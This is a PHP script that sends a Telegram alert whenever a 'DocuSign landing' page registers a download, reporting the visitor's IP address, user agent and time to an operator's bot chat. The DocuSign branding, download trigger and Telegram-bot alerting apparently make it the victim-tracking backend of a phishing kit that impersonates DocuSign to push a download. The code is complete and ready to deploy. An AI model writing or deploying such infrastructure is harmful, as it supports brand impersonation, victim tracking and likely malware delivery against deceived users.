<?php
/**
 * Telegram alert for DocuSign landing (download started).
 * Works on XAMPP, Apache, and typical cPanel PHP hosting.
 *
 * Setup:
 * 1) Create a bot with @BotFather on Telegram, copy the token.
 * 2) Get your chat id (e.g. message @userinfobot or use getUpdates).
 * 3) Fill in TELEGRAM_BOT_TOKEN and TELEGRAM_CHAT_ID below, or define the
 *    same names in a local `telegram_config.php` that returns:
 *    <?php return ['TELEGRAM_BOT_TOKEN' => '...', 'TELEGRAM_CHAT_ID' => '...'];
 */
declare(strict_types=1);

header('Content-Type: application/json; charset=utf-8');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    header('Access-Control-Allow-Methods: POST, OPTIONS');
    header('Access-Control-Allow-Headers: Content-Type');
    header('Access-Control-Max-Age: 86400');
    http_response_code(204);
    exit;
}

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['ok' => false, 'error' => 'method_not_allowed']);
    exit;
}

$token = '';
$chatId = '';

$configPath = __DIR__ . DIRECTORY_SEPARATOR . 'telegram_config.php';
if (is_file($configPath)) {
    $cfg = require $configPath;
    if (is_array($cfg)) {
        $token = trim((string)($cfg['TELEGRAM_BOT_TOKEN'] ?? $cfg['bot_token'] ?? ''));
        $chatId = trim((string)($cfg['TELEGRAM_CHAT_ID'] ?? $cfg['chat_id'] ?? ''));
    }
}

if ($token === '' || $chatId === '') {
    $token = trim((string)getenv('TELEGRAM_BOT_TOKEN'));
    $chatId = trim((string)getenv('TELEGRAM_CHAT_ID'));
}

if ($token === '' || $chatId === '' || strpos($token, ':') === false) {
    http_response_code(500);
    echo json_encode(['ok' => false, 'error' => 'telegram_not_configured']);
    exit;
}

$ip = 'unknown';
if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
    $ip = trim(explode(',', (string)$_SERVER['HTTP_CF_CONNECTING_IP'])[0]);
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = trim(explode(',', (string)$_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
} elseif (!empty($_SERVER['REMOTE_ADDR'])) {
    $ip = (string)$_SERVER['REMOTE_ADDR'];
}

$ua = isset($_SERVER['HTTP_USER_AGENT']) ? substr((string)$_SERVER['HTTP_USER_AGENT'], 0, 220) : 'unknown';
$when = gmdate('c');

$text = "DocuSign landing — download initiated\n\n"
    . "Time (UTC): {$when}\n"
    . "IP: {$ip}\n"
    . "User-Agent: {$ua}";

$payload = json_encode([
    'chat_id' => $chatId,
    'text' => $text,
    'disable_web_page_preview' => true,
], JSON_THROW_ON_ERROR);

$url = 'https://api.telegram.org/bot' . $token . '/sendMessage';

$ch = curl_init($url);
if ($ch === false) {
    http_response_code(502);
    echo json_encode(['ok' => false, 'error' => 'curl_init_failed']);
    exit;
}

curl_setopt_array($ch, [
    CURLOPT_POST => true,
    CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
    CURLOPT_POSTFIELDS => $payload,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_CONNECTTIMEOUT => 10,
    CURLOPT_TIMEOUT => 15,
]);

$raw = curl_exec($ch);
$code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
$err = curl_error($ch);
curl_close($ch);

if ($raw === false || $err !== '') {
    http_response_code(502);
    echo json_encode(['ok' => false, 'error' => 'telegram_fetch_failed']);
    exit;
}

$data = json_decode($raw, true);
if (!is_array($data) || empty($data['ok'])) {
    $desc = is_array($data) && isset($data['description']) ? (string)$data['description'] : 'telegram_error';
    http_response_code(502);
    echo json_encode(['ok' => false, 'error' => $desc]);
    exit;
}

http_response_code(200);
echo json_encode(['ok' => true]);
